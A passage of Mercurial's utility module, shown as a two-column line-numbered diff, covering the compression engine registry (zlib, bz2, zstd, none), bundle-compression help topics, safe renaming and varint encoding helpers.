3192 engines = [self._engines[e] for e in self._wiretypes.values()]
3191 engines = [self._engines[e] for e in self._wiretypes.values()]
3193 if onlyavailable:
3192 if onlyavailable:
3194 engines = [e for e in engines if e.available()]
3193 engines = [e for e in engines if e.available()]
3195
3194
3196 def getkey(e):
3195 def getkey(e):
3197 # Sort first by priority, highest first. In case of tie, sort
3196 # Sort first by priority, highest first. In case of tie, sort
3198 # alphabetically. This is arbitrary, but ensures output is
3197 # alphabetically. This is arbitrary, but ensures output is
3199 # stable.
3198 # stable.
3200 w = e.wireprotosupport()
3199 w = e.wireprotosupport()
3201 return -1 * getattr(w, attr), w.name
3200 return -1 * getattr(w, attr), w.name
3202
3201
3203 return list(sorted(engines, key=getkey))
3202 return list(sorted(engines, key=getkey))
3204
3203
3205 def forwiretype(self, wiretype):
3204 def forwiretype(self, wiretype):
3206 engine = self._engines[self._wiretypes[wiretype]]
3205 engine = self._engines[self._wiretypes[wiretype]]
3207 if not engine.available():
3206 if not engine.available():
3208 raise error.Abort(_('compression engine %s could not be loaded') %
3207 raise error.Abort(_('compression engine %s could not be loaded') %
3209 engine.name())
3208 engine.name())
3210 return engine
3209 return engine
3211
3210
3212 def forrevlogheader(self, header):
3211 def forrevlogheader(self, header):
3213 """Obtain a compression engine registered to a revlog header.
3212 """Obtain a compression engine registered to a revlog header.
3214
3213
3215 Will raise KeyError if the revlog header value isn't registered.
3214 Will raise KeyError if the revlog header value isn't registered.
3216 """
3215 """
3217 return self._engines[self._revlogheaders[header]]
3216 return self._engines[self._revlogheaders[header]]
3218
3217
3219 compengines = compressormanager()
3218 compengines = compressormanager()
3220
3219
3221 class compressionengine(object):
3220 class compressionengine(object):
3222 """Base class for compression engines.
3221 """Base class for compression engines.
3223
3222
3224 Compression engines must implement the interface defined by this class.
3223 Compression engines must implement the interface defined by this class.
3225 """
3224 """
3226 def name(self):
3225 def name(self):
3227 """Returns the name of the compression engine.
3226 """Returns the name of the compression engine.
3228
3227
3229 This is the key the engine is registered under.
3228 This is the key the engine is registered under.
3230
3229
3231 This method must be implemented.
3230 This method must be implemented.
3232 """
3231 """
3233 raise NotImplementedError()
3232 raise NotImplementedError()
3234
3233
3235 def available(self):
3234 def available(self):
3236 """Whether the compression engine is available.
3235 """Whether the compression engine is available.
3237
3236
3238 The intent of this method is to allow optional compression engines
3237 The intent of this method is to allow optional compression engines
3239 that may not be available in all installations (such as engines relying
3238 that may not be available in all installations (such as engines relying
3240 on C extensions that may not be present).
3239 on C extensions that may not be present).
3241 """
3240 """
3242 return True
3241 return True
3243
3242
3244 def bundletype(self):
3243 def bundletype(self):
3245 """Describes bundle identifiers for this engine.
3244 """Describes bundle identifiers for this engine.
3246
3245
3247 If this compression engine isn't supported for bundles, returns None.
3246 If this compression engine isn't supported for bundles, returns None.
3248
3247
3249 If this engine can be used for bundles, returns a 2-tuple of strings of
3248 If this engine can be used for bundles, returns a 2-tuple of strings of
3250 the user-facing "bundle spec" compression name and an internal
3249 the user-facing "bundle spec" compression name and an internal
3251 identifier used to denote the compression format within bundles. To
3250 identifier used to denote the compression format within bundles. To
3252 exclude the name from external usage, set the first element to ``None``.
3251 exclude the name from external usage, set the first element to ``None``.
3253
3252
3254 If bundle compression is supported, the class must also implement
3253 If bundle compression is supported, the class must also implement
3255 ``compressstream`` and `decompressorreader``.
3254 ``compressstream`` and `decompressorreader``.
3256
3255
3257 The docstring of this method is used in the help system to tell users
3256 The docstring of this method is used in the help system to tell users
3258 about this engine.
3257 about this engine.
3259 """
3258 """
3260 return None
3259 return None
3261
3260
3262 def wireprotosupport(self):
3261 def wireprotosupport(self):
3263 """Declare support for this compression format on the wire protocol.
3262 """Declare support for this compression format on the wire protocol.
3264
3263
3265 If this compression engine isn't supported for compressing wire
3264 If this compression engine isn't supported for compressing wire
3266 protocol payloads, returns None.
3265 protocol payloads, returns None.
3267
3266
3268 Otherwise, returns ``compenginewireprotosupport`` with the following
3267 Otherwise, returns ``compenginewireprotosupport`` with the following
3269 fields:
3268 fields:
3270
3269
3271 * String format identifier
3270 * String format identifier
3272 * Integer priority for the server
3271 * Integer priority for the server
3273 * Integer priority for the client
3272 * Integer priority for the client
3274
3273
3275 The integer priorities are used to order the advertisement of format
3274 The integer priorities are used to order the advertisement of format
3276 support by server and client. The highest integer is advertised
3275 support by server and client. The highest integer is advertised
3277 first. Integers with non-positive values aren't advertised.
3276 first. Integers with non-positive values aren't advertised.
3278
3277
3279 The priority values are somewhat arbitrary and only used for default
3278 The priority values are somewhat arbitrary and only used for default
3280 ordering. The relative order can be changed via config options.
3279 ordering. The relative order can be changed via config options.
3281
3280
3282 If wire protocol compression is supported, the class must also implement
3281 If wire protocol compression is supported, the class must also implement
3283 ``compressstream`` and ``decompressorreader``.
3282 ``compressstream`` and ``decompressorreader``.
3284 """
3283 """
3285 return None
3284 return None
3286
3285
3287 def revlogheader(self):
3286 def revlogheader(self):
3288 """Header added to revlog chunks that identifies this engine.
3287 """Header added to revlog chunks that identifies this engine.
3289
3288
3290 If this engine can be used to compress revlogs, this method should
3289 If this engine can be used to compress revlogs, this method should
3291 return the bytes used to identify chunks compressed with this engine.
3290 return the bytes used to identify chunks compressed with this engine.
3292 Else, the method should return ``None`` to indicate it does not
3291 Else, the method should return ``None`` to indicate it does not
3293 participate in revlog compression.
3292 participate in revlog compression.
3294 """
3293 """
3295 return None
3294 return None
3296
3295
3297 def compressstream(self, it, opts=None):
3296 def compressstream(self, it, opts=None):
3298 """Compress an iterator of chunks.
3297 """Compress an iterator of chunks.
3299
3298
3300 The method receives an iterator (ideally a generator) of chunks of
3299 The method receives an iterator (ideally a generator) of chunks of
3301 bytes to be compressed. It returns an iterator (ideally a generator)
3300 bytes to be compressed. It returns an iterator (ideally a generator)
3302 of bytes of chunks representing the compressed output.
3301 of bytes of chunks representing the compressed output.
3303
3302
3304 Optionally accepts an argument defining how to perform compression.
3303 Optionally accepts an argument defining how to perform compression.
3305 Each engine treats this argument differently.
3304 Each engine treats this argument differently.
3306 """
3305 """
3307 raise NotImplementedError()
3306 raise NotImplementedError()
3308
3307
3309 def decompressorreader(self, fh):
3308 def decompressorreader(self, fh):
3310 """Perform decompression on a file object.
3309 """Perform decompression on a file object.
3311
3310
3312 Argument is an object with a ``read(size)`` method that returns
3311 Argument is an object with a ``read(size)`` method that returns
3313 compressed data. Return value is an object with a ``read(size)`` that
3312 compressed data. Return value is an object with a ``read(size)`` that
3314 returns uncompressed data.
3313 returns uncompressed data.
3315 """
3314 """
3316 raise NotImplementedError()
3315 raise NotImplementedError()
3317
3316
3318 def revlogcompressor(self, opts=None):
3317 def revlogcompressor(self, opts=None):
3319 """Obtain an object that can be used to compress revlog entries.
3318 """Obtain an object that can be used to compress revlog entries.
3320
3319
3321 The object has a ``compress(data)`` method that compresses binary
3320 The object has a ``compress(data)`` method that compresses binary
3322 data. This method returns compressed binary data or ``None`` if
3321 data. This method returns compressed binary data or ``None`` if
3323 the data could not be compressed (too small, not compressible, etc).
3322 the data could not be compressed (too small, not compressible, etc).
3324 The returned data should have a header uniquely identifying this
3323 The returned data should have a header uniquely identifying this
3325 compression format so decompression can be routed to this engine.
3324 compression format so decompression can be routed to this engine.
3326 This header should be identified by the ``revlogheader()`` return
3325 This header should be identified by the ``revlogheader()`` return
3327 value.
3326 value.
3328
3327
3329 The object has a ``decompress(data)`` method that decompresses
3328 The object has a ``decompress(data)`` method that decompresses
3330 data. The method will only be called if ``data`` begins with
3329 data. The method will only be called if ``data`` begins with
3331 ``revlogheader()``. The method should return the raw, uncompressed
3330 ``revlogheader()``. The method should return the raw, uncompressed
3332 data or raise a ``RevlogError``.
3331 data or raise a ``RevlogError``.
3333
3332
3334 The object is reusable but is not thread safe.
3333 The object is reusable but is not thread safe.
3335 """
3334 """
3336 raise NotImplementedError()
3335 raise NotImplementedError()
3337
3336
3338 class _zlibengine(compressionengine):
3337 class _zlibengine(compressionengine):
3339 def name(self):
3338 def name(self):
3340 return 'zlib'
3339 return 'zlib'
3341
3340
3342 def bundletype(self):
3341 def bundletype(self):
3343 """zlib compression using the DEFLATE algorithm.
3342 """zlib compression using the DEFLATE algorithm.
3344
3343
3345 All Mercurial clients should support this format. The compression
3344 All Mercurial clients should support this format. The compression
3346 algorithm strikes a reasonable balance between compression ratio
3345 algorithm strikes a reasonable balance between compression ratio
3347 and size.
3346 and size.
3348 """
3347 """
3349 return 'gzip', 'GZ'
3348 return 'gzip', 'GZ'
3350
3349
3351 def wireprotosupport(self):
3350 def wireprotosupport(self):
3352 return compewireprotosupport('zlib', 20, 20)
3351 return compewireprotosupport('zlib', 20, 20)
3353
3352
3354 def revlogheader(self):
3353 def revlogheader(self):
3355 return 'x'
3354 return 'x'
3356
3355
3357 def compressstream(self, it, opts=None):
3356 def compressstream(self, it, opts=None):
3358 opts = opts or {}
3357 opts = opts or {}
3359
3358
3360 z = zlib.compressobj(opts.get('level', -1))
3359 z = zlib.compressobj(opts.get('level', -1))
3361 for chunk in it:
3360 for chunk in it:
3362 data = z.compress(chunk)
3361 data = z.compress(chunk)
3363 # Not all calls to compress emit data. It is cheaper to inspect
3362 # Not all calls to compress emit data. It is cheaper to inspect
3364 # here than to feed empty chunks through generator.
3363 # here than to feed empty chunks through generator.
3365 if data:
3364 if data:
3366 yield data
3365 yield data
3367
3366
3368 yield z.flush()
3367 yield z.flush()
3369
3368
3370 def decompressorreader(self, fh):
3369 def decompressorreader(self, fh):
3371 def gen():
3370 def gen():
3372 d = zlib.decompressobj()
3371 d = zlib.decompressobj()
3373 for chunk in filechunkiter(fh):
3372 for chunk in filechunkiter(fh):
3374 while chunk:
3373 while chunk:
3375 # Limit output size to limit memory.
3374 # Limit output size to limit memory.
3376 yield d.decompress(chunk, 2 ** 18)
3375 yield d.decompress(chunk, 2 ** 18)
3377 chunk = d.unconsumed_tail
3376 chunk = d.unconsumed_tail
3378
3377
3379 return chunkbuffer(gen())
3378 return chunkbuffer(gen())
3380
3379
3381 class zlibrevlogcompressor(object):
3380 class zlibrevlogcompressor(object):
3382 def compress(self, data):
3381 def compress(self, data):
3383 insize = len(data)
3382 insize = len(data)
3384 # Caller handles empty input case.
3383 # Caller handles empty input case.
3385 assert insize > 0
3384 assert insize > 0
3386
3385
3387 if insize < 44:
3386 if insize < 44:
3388 return None
3387 return None
3389
3388
3390 elif insize <= 1000000:
3389 elif insize <= 1000000:
3391 compressed = zlib.compress(data)
3390 compressed = zlib.compress(data)
3392 if len(compressed) < insize:
3391 if len(compressed) < insize:
3393 return compressed
3392 return compressed
3394 return None
3393 return None
3395
3394
3396 # zlib makes an internal copy of the input buffer, doubling
3395 # zlib makes an internal copy of the input buffer, doubling
3397 # memory usage for large inputs. So do streaming compression
3396 # memory usage for large inputs. So do streaming compression
3398 # on large inputs.
3397 # on large inputs.
3399 else:
3398 else:
3400 z = zlib.compressobj()
3399 z = zlib.compressobj()
3401 parts = []
3400 parts = []
3402 pos = 0
3401 pos = 0
3403 while pos < insize:
3402 while pos < insize:
3404 pos2 = pos + 2**20
3403 pos2 = pos + 2**20
3405 parts.append(z.compress(data[pos:pos2]))
3404 parts.append(z.compress(data[pos:pos2]))
3406 pos = pos2
3405 pos = pos2
3407 parts.append(z.flush())
3406 parts.append(z.flush())
3408
3407
3409 if sum(map(len, parts)) < insize:
3408 if sum(map(len, parts)) < insize:
3410 return ''.join(parts)
3409 return ''.join(parts)
3411 return None
3410 return None
3412
3411
3413 def decompress(self, data):
3412 def decompress(self, data):
3414 try:
3413 try:
3415 return zlib.decompress(data)
3414 return zlib.decompress(data)
3416 except zlib.error as e:
3415 except zlib.error as e:
3417 raise error.RevlogError(_('revlog decompress error: %s') %
3416 raise error.RevlogError(_('revlog decompress error: %s') %
3418 stringutil.forcebytestr(e))
3417 stringutil.forcebytestr(e))
3419
3418
3420 def revlogcompressor(self, opts=None):
3419 def revlogcompressor(self, opts=None):
3421 return self.zlibrevlogcompressor()
3420 return self.zlibrevlogcompressor()
3422
3421
3423 compengines.register(_zlibengine())
3422 compengines.register(_zlibengine())
3424
3423
3425 class _bz2engine(compressionengine):
3424 class _bz2engine(compressionengine):
3426 def name(self):
3425 def name(self):
3427 return 'bz2'
3426 return 'bz2'
3428
3427
3429 def bundletype(self):
3428 def bundletype(self):
3430 """An algorithm that produces smaller bundles than ``gzip``.
3429 """An algorithm that produces smaller bundles than ``gzip``.
3431
3430
3432 All Mercurial clients should support this format.
3431 All Mercurial clients should support this format.
3433
3432
3434 This engine will likely produce smaller bundles than ``gzip`` but
3433 This engine will likely produce smaller bundles than ``gzip`` but
3435 will be significantly slower, both during compression and
3434 will be significantly slower, both during compression and
3436 decompression.
3435 decompression.
3437
3436
3438 If available, the ``zstd`` engine can yield similar or better
3437 If available, the ``zstd`` engine can yield similar or better
3439 compression at much higher speeds.
3438 compression at much higher speeds.
3440 """
3439 """
3441 return 'bzip2', 'BZ'
3440 return 'bzip2', 'BZ'
3442
3441
3443 # We declare a protocol name but don't advertise by default because
3442 # We declare a protocol name but don't advertise by default because
3444 # it is slow.
3443 # it is slow.
3445 def wireprotosupport(self):
3444 def wireprotosupport(self):
3446 return compewireprotosupport('bzip2', 0, 0)
3445 return compewireprotosupport('bzip2', 0, 0)
3447
3446
3448 def compressstream(self, it, opts=None):
3447 def compressstream(self, it, opts=None):
3449 opts = opts or {}
3448 opts = opts or {}
3450 z = bz2.BZ2Compressor(opts.get('level', 9))
3449 z = bz2.BZ2Compressor(opts.get('level', 9))
3451 for chunk in it:
3450 for chunk in it:
3452 data = z.compress(chunk)
3451 data = z.compress(chunk)
3453 if data:
3452 if data:
3454 yield data
3453 yield data
3455
3454
3456 yield z.flush()
3455 yield z.flush()
3457
3456
3458 def decompressorreader(self, fh):
3457 def decompressorreader(self, fh):
3459 def gen():
3458 def gen():
3460 d = bz2.BZ2Decompressor()
3459 d = bz2.BZ2Decompressor()
3461 for chunk in filechunkiter(fh):
3460 for chunk in filechunkiter(fh):
3462 yield d.decompress(chunk)
3461 yield d.decompress(chunk)
3463
3462
3464 return chunkbuffer(gen())
3463 return chunkbuffer(gen())
3465
3464
3466 compengines.register(_bz2engine())
3465 compengines.register(_bz2engine())
3467
3466
3468 class _truncatedbz2engine(compressionengine):
3467 class _truncatedbz2engine(compressionengine):
3469 def name(self):
3468 def name(self):
3470 return 'bz2truncated'
3469 return 'bz2truncated'
3471
3470
3472 def bundletype(self):
3471 def bundletype(self):
3473 return None, '_truncatedBZ'
3472 return None, '_truncatedBZ'
3474
3473
3475 # We don't implement compressstream because it is hackily handled elsewhere.
3474 # We don't implement compressstream because it is hackily handled elsewhere.
3476
3475
3477 def decompressorreader(self, fh):
3476 def decompressorreader(self, fh):
3478 def gen():
3477 def gen():
3479 # The input stream doesn't have the 'BZ' header. So add it back.
3478 # The input stream doesn't have the 'BZ' header. So add it back.
3480 d = bz2.BZ2Decompressor()
3479 d = bz2.BZ2Decompressor()
3481 d.decompress('BZ')
3480 d.decompress('BZ')
3482 for chunk in filechunkiter(fh):
3481 for chunk in filechunkiter(fh):
3483 yield d.decompress(chunk)
3482 yield d.decompress(chunk)
3484
3483
3485 return chunkbuffer(gen())
3484 return chunkbuffer(gen())
3486
3485
3487 compengines.register(_truncatedbz2engine())
3486 compengines.register(_truncatedbz2engine())
3488
3487
3489 class _noopengine(compressionengine):
3488 class _noopengine(compressionengine):
3490 def name(self):
3489 def name(self):
3491 return 'none'
3490 return 'none'
3492
3491
3493 def bundletype(self):
3492 def bundletype(self):
3494 """No compression is performed.
3493 """No compression is performed.
3495
3494
3496 Use this compression engine to explicitly disable compression.
3495 Use this compression engine to explicitly disable compression.
3497 """
3496 """
3498 return 'none', 'UN'
3497 return 'none', 'UN'
3499
3498
3500 # Clients always support uncompressed payloads. Servers don't because
3499 # Clients always support uncompressed payloads. Servers don't because
3501 # unless you are on a fast network, uncompressed payloads can easily
3500 # unless you are on a fast network, uncompressed payloads can easily
3502 # saturate your network pipe.
3501 # saturate your network pipe.
3503 def wireprotosupport(self):
3502 def wireprotosupport(self):
3504 return compewireprotosupport('none', 0, 10)
3503 return compewireprotosupport('none', 0, 10)
3505
3504
3506 # We don't implement revlogheader because it is handled specially
3505 # We don't implement revlogheader because it is handled specially
3507 # in the revlog class.
3506 # in the revlog class.
3508
3507
3509 def compressstream(self, it, opts=None):
3508 def compressstream(self, it, opts=None):
3510 return it
3509 return it
3511
3510
3512 def decompressorreader(self, fh):
3511 def decompressorreader(self, fh):
3513 return fh
3512 return fh
3514
3513
3515 class nooprevlogcompressor(object):
3514 class nooprevlogcompressor(object):
3516 def compress(self, data):
3515 def compress(self, data):
3517 return None
3516 return None
3518
3517
3519 def revlogcompressor(self, opts=None):
3518 def revlogcompressor(self, opts=None):
3520 return self.nooprevlogcompressor()
3519 return self.nooprevlogcompressor()
3521
3520
3522 compengines.register(_noopengine())
3521 compengines.register(_noopengine())
3523
3522
3524 class _zstdengine(compressionengine):
3523 class _zstdengine(compressionengine):
3525 def name(self):
3524 def name(self):
3526 return 'zstd'
3525 return 'zstd'
3527
3526
3528 @propertycache
3527 @propertycache
3529 def _module(self):
3528 def _module(self):
3530 # Not all installs have the zstd module available. So defer importing
3529 # Not all installs have the zstd module available. So defer importing
3531 # until first access.
3530 # until first access.
3532 try:
3531 try:
3533 from . import zstd
3532 from . import zstd
3534 # Force delayed import.
3533 # Force delayed import.
3535 zstd.__version__
3534 zstd.__version__
3536 return zstd
3535 return zstd
3537 except ImportError:
3536 except ImportError:
3538 return None
3537 return None
3539
3538
3540 def available(self):
3539 def available(self):
3541 return bool(self._module)
3540 return bool(self._module)
3542
3541
3543 def bundletype(self):
3542 def bundletype(self):
3544 """A modern compression algorithm that is fast and highly flexible.
3543 """A modern compression algorithm that is fast and highly flexible.
3545
3544
3546 Only supported by Mercurial 4.1 and newer clients.
3545 Only supported by Mercurial 4.1 and newer clients.
3547
3546
3548 With the default settings, zstd compression is both faster and yields
3547 With the default settings, zstd compression is both faster and yields
3549 better compression than ``gzip``. It also frequently yields better
3548 better compression than ``gzip``. It also frequently yields better
3550 compression than ``bzip2`` while operating at much higher speeds.
3549 compression than ``bzip2`` while operating at much higher speeds.
3551
3550
3552 If this engine is available and backwards compatibility is not a
3551 If this engine is available and backwards compatibility is not a
3553 concern, it is likely the best available engine.
3552 concern, it is likely the best available engine.
3554 """
3553 """
3555 return 'zstd', 'ZS'
3554 return 'zstd', 'ZS'
3556
3555
3557 def wireprotosupport(self):
3556 def wireprotosupport(self):
3558 return compewireprotosupport('zstd', 50, 50)
3557 return compewireprotosupport('zstd', 50, 50)
3559
3558
3560 def revlogheader(self):
3559 def revlogheader(self):
3561 return '\x28'
3560 return '\x28'
3562
3561
3563 def compressstream(self, it, opts=None):
3562 def compressstream(self, it, opts=None):
3564 opts = opts or {}
3563 opts = opts or {}
3565 # zstd level 3 is almost always significantly faster than zlib
3564 # zstd level 3 is almost always significantly faster than zlib
3566 # while providing no worse compression. It strikes a good balance
3565 # while providing no worse compression. It strikes a good balance
3567 # between speed and compression.
3566 # between speed and compression.
3568 level = opts.get('level', 3)
3567 level = opts.get('level', 3)
3569
3568
3570 zstd = self._module
3569 zstd = self._module
3571 z = zstd.ZstdCompressor(level=level).compressobj()
3570 z = zstd.ZstdCompressor(level=level).compressobj()
3572 for chunk in it:
3571 for chunk in it:
3573 data = z.compress(chunk)
3572 data = z.compress(chunk)
3574 if data:
3573 if data:
3575 yield data
3574 yield data
3576
3575
3577 yield z.flush()
3576 yield z.flush()
3578
3577
3579 def decompressorreader(self, fh):
3578 def decompressorreader(self, fh):
3580 zstd = self._module
3579 zstd = self._module
3581 dctx = zstd.ZstdDecompressor()
3580 dctx = zstd.ZstdDecompressor()
3582 return chunkbuffer(dctx.read_from(fh))
3581 return chunkbuffer(dctx.read_from(fh))
3583
3582
3584 class zstdrevlogcompressor(object):
3583 class zstdrevlogcompressor(object):
3585 def __init__(self, zstd, level=3):
3584 def __init__(self, zstd, level=3):
3586 # TODO consider omitting frame magic to save 4 bytes.
3585 # TODO consider omitting frame magic to save 4 bytes.
3587 # This writes content sizes into the frame header. That is
3586 # This writes content sizes into the frame header. That is
3588 # extra storage. But it allows a correct size memory allocation
3587 # extra storage. But it allows a correct size memory allocation
3589 # to hold the result.
3588 # to hold the result.
3590 self._cctx = zstd.ZstdCompressor(level=level)
3589 self._cctx = zstd.ZstdCompressor(level=level)
3591 self._dctx = zstd.ZstdDecompressor()
3590 self._dctx = zstd.ZstdDecompressor()
3592 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3591 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3593 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3592 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3594
3593
3595 def compress(self, data):
3594 def compress(self, data):
3596 insize = len(data)
3595 insize = len(data)
3597 # Caller handles empty input case.
3596 # Caller handles empty input case.
3598 assert insize > 0
3597 assert insize > 0
3599
3598
3600 if insize < 50:
3599 if insize < 50:
3601 return None
3600 return None
3602
3601
3603 elif insize <= 1000000:
3602 elif insize <= 1000000:
3604 compressed = self._cctx.compress(data)
3603 compressed = self._cctx.compress(data)
3605 if len(compressed) < insize:
3604 if len(compressed) < insize:
3606 return compressed
3605 return compressed
3607 return None
3606 return None
3608 else:
3607 else:
3609 z = self._cctx.compressobj()
3608 z = self._cctx.compressobj()
3610 chunks = []
3609 chunks = []
3611 pos = 0
3610 pos = 0
3612 while pos < insize:
3611 while pos < insize:
3613 pos2 = pos + self._compinsize
3612 pos2 = pos + self._compinsize
3614 chunk = z.compress(data[pos:pos2])
3613 chunk = z.compress(data[pos:pos2])
3615 if chunk:
3614 if chunk:
3616 chunks.append(chunk)
3615 chunks.append(chunk)
3617 pos = pos2
3616 pos = pos2
3618 chunks.append(z.flush())
3617 chunks.append(z.flush())
3619
3618
3620 if sum(map(len, chunks)) < insize:
3619 if sum(map(len, chunks)) < insize:
3621 return ''.join(chunks)
3620 return ''.join(chunks)
3622 return None
3621 return None
3623
3622
3624 def decompress(self, data):
3623 def decompress(self, data):
3625 insize = len(data)
3624 insize = len(data)
3626
3625
3627 try:
3626 try:
3628 # This was measured to be faster than other streaming
3627 # This was measured to be faster than other streaming
3629 # decompressors.
3628 # decompressors.
3630 dobj = self._dctx.decompressobj()
3629 dobj = self._dctx.decompressobj()
3631 chunks = []
3630 chunks = []
3632 pos = 0
3631 pos = 0
3633 while pos < insize:
3632 while pos < insize:
3634 pos2 = pos + self._decompinsize
3633 pos2 = pos + self._decompinsize
3635 chunk = dobj.decompress(data[pos:pos2])
3634 chunk = dobj.decompress(data[pos:pos2])
3636 if chunk:
3635 if chunk:
3637 chunks.append(chunk)
3636 chunks.append(chunk)
3638 pos = pos2
3637 pos = pos2
3639 # Frame should be exhausted, so no finish() API.
3638 # Frame should be exhausted, so no finish() API.
3640
3639
3641 return ''.join(chunks)
3640 return ''.join(chunks)
3642 except Exception as e:
3641 except Exception as e:
3643 raise error.RevlogError(_('revlog decompress error: %s') %
3642 raise error.RevlogError(_('revlog decompress error: %s') %
3644 stringutil.forcebytestr(e))
3643 stringutil.forcebytestr(e))
3645
3644
3646 def revlogcompressor(self, opts=None):
3645 def revlogcompressor(self, opts=None):
3647 opts = opts or {}
3646 opts = opts or {}
3648 return self.zstdrevlogcompressor(self._module,
3647 return self.zstdrevlogcompressor(self._module,
3649 level=opts.get('level', 3))
3648 level=opts.get('level', 3))
3650
3649
3651 compengines.register(_zstdengine())
3650 compengines.register(_zstdengine())
3652
3651
3653 def bundlecompressiontopics():
3652 def bundlecompressiontopics():
3654 """Obtains a list of available bundle compressions for use in help."""
3653 """Obtains a list of available bundle compressions for use in help."""
3655 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3654 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3656 items = {}
3655 items = {}
3657
3656
3658 # We need to format the docstring. So use a dummy object/type to hold it
3657 # We need to format the docstring. So use a dummy object/type to hold it
3659 # rather than mutating the original.
3658 # rather than mutating the original.
3660 class docobject(object):
3659 class docobject(object):
3661 pass
3660 pass
3662
3661
3663 for name in compengines:
3662 for name in compengines:
3664 engine = compengines[name]
3663 engine = compengines[name]
3665
3664
3666 if not engine.available():
3665 if not engine.available():
3667 continue
3666 continue
3668
3667
3669 bt = engine.bundletype()
3668 bt = engine.bundletype()
3670 if not bt or not bt[0]:
3669 if not bt or not bt[0]:
3671 continue
3670 continue
3672
3671
3673 doc = pycompat.sysstr('``%s``\n %s') % (
3672 doc = pycompat.sysstr('``%s``\n %s') % (
3674 bt[0], engine.bundletype.__doc__)
3673 bt[0], engine.bundletype.__doc__)
3675
3674
3676 value = docobject()
3675 value = docobject()
3677 value.__doc__ = doc
3676 value.__doc__ = doc
3678 value._origdoc = engine.bundletype.__doc__
3677 value._origdoc = engine.bundletype.__doc__
3679 value._origfunc = engine.bundletype
3678 value._origfunc = engine.bundletype
3680
3679
3681 items[bt[0]] = value
3680 items[bt[0]] = value
3682
3681
3683 return items
3682 return items
3684
3683
3685 i18nfunctions = bundlecompressiontopics().values()
3684 i18nfunctions = bundlecompressiontopics().values()
3686
3685
3687 # convenient shortcut
3686 # convenient shortcut
3688 dst = debugstacktrace
3687 dst = debugstacktrace
3689
3688
3690 def safename(f, tag, ctx, others=None):
3689 def safename(f, tag, ctx, others=None):
3691 """
3690 """
3692 Generate a name that it is safe to rename f to in the given context.
3691 Generate a name that it is safe to rename f to in the given context.
3693
3692
3694 f: filename to rename
3693 f: filename to rename
3695 tag: a string tag that will be included in the new name
3694 tag: a string tag that will be included in the new name
3696 ctx: a context, in which the new name must not exist
3695 ctx: a context, in which the new name must not exist
3697 others: a set of other filenames that the new name must not be in
3696 others: a set of other filenames that the new name must not be in
3698
3697
3699 Returns a file name of the form oldname~tag[~number] which does not exist
3698 Returns a file name of the form oldname~tag[~number] which does not exist
3700 in the provided context and is not in the set of other names.
3699 in the provided context and is not in the set of other names.
3701 """
3700 """
3702 if others is None:
3701 if others is None:
3703 others = set()
3702 others = set()
3704
3703
3705 fn = '%s~%s' % (f, tag)
3704 fn = '%s~%s' % (f, tag)
3706 if fn not in ctx and fn not in others:
3705 if fn not in ctx and fn not in others:
3707 return fn
3706 return fn
3708 for n in itertools.count(1):
3707 for n in itertools.count(1):
3709 fn = '%s~%s~%s' % (f, tag, n)
3708 fn = '%s~%s~%s' % (f, tag, n)
3710 if fn not in ctx and fn not in others:
3709 if fn not in ctx and fn not in others:
3711 return fn
3710 return fn
3712
3711
3713 def readexactly(stream, n):
3712 def readexactly(stream, n):
3714 '''read n bytes from stream.read and abort if less was available'''
3713 '''read n bytes from stream.read and abort if less was available'''
3715 s = stream.read(n)
3714 s = stream.read(n)
3716 if len(s) < n:
3715 if len(s) < n:
3717 raise error.Abort(_("stream ended unexpectedly"
3716 raise error.Abort(_("stream ended unexpectedly"
3718 " (got %d bytes, expected %d)")
3717 " (got %d bytes, expected %d)")
3719 % (len(s), n))
3718 % (len(s), n))
3720 return s
3719 return s
3721
3720
3722 def uvarintencode(value):
3721 def uvarintencode(value):
3723 """Encode an unsigned integer value to a varint.
3722 """Encode an unsigned integer value to a varint.
3724
3723
3725 A varint is a variable length integer of 1 or more bytes. Each byte
3724 A varint is a variable length integer of 1 or more bytes. Each byte
3726 except the last has the most significant bit set. The lower 7 bits of
3725 except the last has the most significant bit set. The lower 7 bits of
3727 each byte store the 2's complement representation, least significant group
3726 each byte store the 2's complement representation, least significant group
3728 first.
3727 first.
3729
3728
3730 >>> uvarintencode(0)
3729 >>> uvarintencode(0)
3731 '\\x00'
3730 '\\x00'
3732 >>> uvarintencode(1)
3731 >>> uvarintencode(1)
3733 '\\x01'
3732 '\\x01'
3734 >>> uvarintencode(127)
3733 >>> uvarintencode(127)
3735 '\\x7f'
3734 '\\x7f'
3736 >>> uvarintencode(1337)
3735 >>> uvarintencode(1337)
3737 '\\xb9\\n'
3736 '\\xb9\\n'
3738 >>> uvarintencode(65536)
3737 >>> uvarintencode(65536)
3739 '\\x80\\x80\\x04'
3738 '\\x80\\x80\\x04'
3740 >>> uvarintencode(-1)
3739 >>> uvarintencode(-1)
3741 Traceback (most recent call last):
3740 Traceback (most recent call last):
3742 ...
3741 ...
3743 ProgrammingError: negative value for uvarint: -1
3742 ProgrammingError: negative value for uvarint: -1
3744 """
3743 """
3745 if value < 0:
3744 if value < 0:
3746 raise error.ProgrammingError('negative value for uvarint: %d'
3745 raise error.ProgrammingError('negative value for uvarint: %d'
3747 % value)
3746 % value)
3748 bits = value & 0x7f
3747 bits = value & 0x7f
3749 value >>= 7
3748 value >>= 7
3750 bytes = []
3749 bytes = []
3751 while value:
3750 while value:
3752 bytes.append(pycompat.bytechr(0x80 | bits))
3751 bytes.append(pycompat.bytechr(0x80 | bits))
3753 bits = value & 0x7f
3752 bits = value & 0x7f
3754 value >>= 7
3753 value >>= 7
3755 bytes.append(pycompat.bytechr(bits))
3754 bytes.append(pycompat.bytechr(bits))
3756
3755
3757 return ''.join(bytes)
3756 return ''.join(bytes)
3758
3757
3759 def uvarintdecodestream(fh):
3758 def uvarintdecodestream(fh):
3760 """Decode an unsigned variable length integer from a stream.
3759 """Decode an unsigned variable length integer from a stream.
3761
3760
3762 The passed argument is anything that has a ``.read(N)`` method.
3761 The passed argument is anything that has a ``.read(N)`` method.
3763
3762
3764 >>> try:
3763 >>> try:
3765 ... from StringIO import StringIO as BytesIO
3764 ... from StringIO import StringIO as BytesIO
3766 ... except ImportError:
3765 ... except ImportError:
3767 ... from io import BytesIO
3766 ... from io import BytesIO
3768 >>> uvarintdecodestream(BytesIO(b'\\x00'))
